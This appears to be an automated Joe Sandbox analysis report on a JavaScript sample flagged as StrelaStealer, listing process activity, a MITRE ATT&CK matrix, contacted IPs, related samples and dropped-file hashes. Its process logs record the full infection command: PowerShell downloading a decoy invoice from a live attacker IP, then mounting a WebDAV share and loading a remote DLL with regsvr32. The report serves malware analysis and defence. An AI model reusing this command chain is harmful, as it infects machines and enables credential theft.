Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
709291801716322197.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
709291801716322197.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Num.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.23	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1363056510.000002CF8DAA0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2552426766.000002CF8DC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000003.1353108019.0000019DBDA2E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1374592877.0000019DBDA30000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1366711676.0000019DBDA02000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1373189184.0000019DBD9D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1373341630.0000019DBDA02000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num.	net.exe, 0000000D.00000002.1373189184.0000019DBD9D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588879
Start date and time:	2025-01-11 06:38:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	709291801716322197.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 54.224.241.105, 52.149.20.212, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:39:17	API Interceptor	35x Sleep call for process: powershell.exe modified
00:39:23	API Interceptor	1x Sleep call for process: net.exe modified
00:39:24	API Interceptor	2x Sleep call for process: svchost.exe modified
00:39:30	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
bg.microsoft.map.fastly.net	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066928485072304
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq3:2JIB/wUKUKQncEmYRTwh0j
MD5:	511926516C7366C127E43F903D8B55B7
SHA1:	7A8D48969E566FA92A9A256794D1B4D90AE68FA2
SHA-256:	040C6563895EFD0AB9FCEBCD6ACF0DEEF81D84739DFA4A1432839A352C3509D3
SHA-512:	8B8E6D5C346DCFCA22C05E8B44CBAA684B1D1D533566A4F4DFCC750608D15B13DA2AD6E3002E549852D8DC3918A2436371840E7F81D3098E441CD6E089AF6126
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x176f87da, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899545890114407
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	BDFBC0A1631AD91F5CFEB530804DBAA2
SHA1:	3BBA4DBC78852F0760A21C17F9AC495F5B4C2206
SHA-256:	174F2A710253437F783540F2A8A8017F36B53263E809C4C6104D1749E8399F12
SHA-512:	7EA9D613D4FAA5B5B920BF8E3069EDFA695E2A729D82E250E36D701CBC9CF009D892B2E2AF8E9EF72D29B0792E717DA99D8710E8963D5C329FC3ABDCF95CA150
Malicious:	false
Preview:	.o..... ...............X\...;...{......................0.`.....42...{5..'...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................b..'...}...................&w..'...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07965675134705713
Encrypted:	false
SSDEEP:	3:rLSl8YeKjuRuD1t/57Dek3JKm/AllEqW3l/TjzzQ/t:K6zeuRSHR3tfAmd8/
MD5:	C6F08B43FCFBDE6C6C49D2FC7EEB80EE
SHA1:	814F168194EC6D128172480491FCF371FA45AFC6
SHA-256:	1F493583F3F59DCDD167767B6B773524524EAC196759F145E8C1C6DA8FD14425
SHA-512:	23D279B624A462413970E00513A4BB65D5C2C91754E6099DA43F00D969DA568C444D89008F4C68CD9ED48891E763E9C575C752E4FECC9B7B9BB3A0CD254A1FBA
Malicious:	false
Preview:	..Hn.....................................;...{...'...}..42...{5.........42...{5.42...{5...Y.42...{59.................&w..'...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.213443145232746
Encrypted:	false
SSDEEP:	6:iOU339+q2PcNwi2nKuAl9OmbnIFUtOx3JZmwgx39VkwOcNwi2nKuAl9OmbjLJ:7eIvLZHAahFUtyZ/sz54ZHAaSJ
MD5:	D84D6E6D37938F322D0043BA7441DEDD
SHA1:	8F2C546C7359B490F7FCCF34B86115D9192AC69A
SHA-256:	D50D2D965B80E137F14705239164D70DA84CE4E284B3B071E13F5BEB29559164
SHA-512:	EA1E3E19F4BA02D0E0515727FD0D2968199E91B7E22DF3621CBD5D70DE11A52E3C34B2BE2CDD50CA30AA2768B3E9379AC7CDF86030851D9192498CB201F67037
Malicious:	false
Preview:	2025/01/11-00:39:22.864 1c08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:39:22.866 1c08 Recovering log #3.2025/01/11-00:39:22.866 1c08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.213443145232746
Encrypted:	false
SSDEEP:	6:iOU339+q2PcNwi2nKuAl9OmbnIFUtOx3JZmwgx39VkwOcNwi2nKuAl9OmbjLJ:7eIvLZHAahFUtyZ/sz54ZHAaSJ
MD5:	D84D6E6D37938F322D0043BA7441DEDD
SHA1:	8F2C546C7359B490F7FCCF34B86115D9192AC69A
SHA-256:	D50D2D965B80E137F14705239164D70DA84CE4E284B3B071E13F5BEB29559164
SHA-512:	EA1E3E19F4BA02D0E0515727FD0D2968199E91B7E22DF3621CBD5D70DE11A52E3C34B2BE2CDD50CA30AA2768B3E9379AC7CDF86030851D9192498CB201F67037
Malicious:	false
Preview:	2025/01/11-00:39:22.864 1c08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:39:22.866 1c08 Recovering log #3.2025/01/11-00:39:22.866 1c08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.166422593255649
Encrypted:	false
SSDEEP:	6:iOUUVt+q2PcNwi2nKuAl9Ombzo2jMGIFUtOUVKZmwgUV7VkwOcNwi2nKuAl9OmbX:75VovLZHAa8uFUt/VK/1Vh54ZHAa8RJ
MD5:	C0D6B4D61E82338643D04573CB4B5411
SHA1:	C04D9AF4EB0A52A8EE7FF107C6D65F944280D2F9
SHA-256:	3074F0D4AEA570E55F16FC0AF7D4E409D988AF1C094867D9F591CE898FDF1876
SHA-512:	BEA650B3C5AEC443044EEE84960939577A5DAA25B15E72E768524CF0F464914F2D5A7BE379030A3C27BD96549735944E9C142D22711E04478287F856671C39E2
Malicious:	false
Preview:	2025/01/11-00:39:23.004 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:39:23.005 1cf8 Recovering log #3.2025/01/11-00:39:23.006 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.166422593255649
Encrypted:	false
SSDEEP:	6:iOUUVt+q2PcNwi2nKuAl9Ombzo2jMGIFUtOUVKZmwgUV7VkwOcNwi2nKuAl9OmbX:75VovLZHAa8uFUt/VK/1Vh54ZHAa8RJ
MD5:	C0D6B4D61E82338643D04573CB4B5411
SHA1:	C04D9AF4EB0A52A8EE7FF107C6D65F944280D2F9
SHA-256:	3074F0D4AEA570E55F16FC0AF7D4E409D988AF1C094867D9F591CE898FDF1876
SHA-512:	BEA650B3C5AEC443044EEE84960939577A5DAA25B15E72E768524CF0F464914F2D5A7BE379030A3C27BD96549735944E9C142D22711E04478287F856671C39E2
Malicious:	false
Preview:	2025/01/11-00:39:23.004 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:39:23.005 1cf8 Recovering log #3.2025/01/11-00:39:23.006 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0c615bb7-6c71-4ef3-b7fe-e603f905f35e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963105238980915
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZieYksBdOg2H0caq3QYiubSpDyP7E4T3y:Y2sRdsyjCdMHn3QYhbSpDa7nby
MD5:	D3D923BEF1E6EC6DACDC21A9354D083E
SHA1:	712CF7B0F5718ED2116F6A6C3517CF9748A68F02
SHA-256:	DC390A76037BF095B7DEB9382FD75C4C578C536E3A8CE91828C77DAFC41CD1D0
SHA-512:	347054733C0E2C0290D50503D3266FA47A48BD6719DC7BE2F7ED0B64BCFB176C067048CF4A04512B3C82CB4B61AC7920AAB4E8A46B7509CFC37B48382346F320
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133974896647","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125473},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8042665a-c934-4af5-ae0d-b4531c5104b0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF57f1bb.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231181912050478
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPHgndS:CwNw1GHqPySfkcigoO3h28ytPHgndS
MD5:	B4253F3CF85B6BDF4F78489EBD61E679
SHA1:	DA67A11557C64527A5555FB12176EEBCD7E2D2CF
SHA-256:	3D6896E33335EE52C035E81169FE706DA14B15FAD6A25F61B73C7ACC6BB506E6
SHA-512:	B439237B5A8A8198847142C0B52E32A208D25B98EAF6C6DC8BBB78DE380E47D87097F5101F6C6667D8939A72A5DAE9E125B81E5C6749097CD3F57BBA4DCFA314
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.193969431189567
Encrypted:	false
SSDEEP:	6:iOUnd+q2PcNwi2nKuAl9OmbzNMxIFUtOnh5ZmwgnmVkwOcNwi2nKuAl9OmbzNMFd:7vvLZHAa8jFUtS5/j54ZHAa84J
MD5:	DFC510D67847DC352B81F334DDA7EB40
SHA1:	32C1FC251754BE63A81D5CBB3D24328576367EED
